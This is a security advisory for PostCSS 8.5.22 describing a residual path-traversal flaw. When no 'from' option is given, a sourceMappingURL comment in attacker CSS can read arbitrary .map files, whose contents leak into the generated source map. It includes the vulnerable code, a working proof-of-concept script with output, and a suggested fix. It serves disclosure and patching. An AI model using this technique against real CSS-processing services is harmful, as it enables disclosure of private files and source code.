GHSA-fxqj-rqcc-2cmp

## Summary

The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check.

`PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map.

## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } }

// loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ```

## Proof of concept (verified on postcss 8.5.22)

```js const postcss = require('postcss') const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] }))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true

// B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ```

Observed output on postcss 8.5.22:

``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ```

`../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix.

## Impact

Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON.

## Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.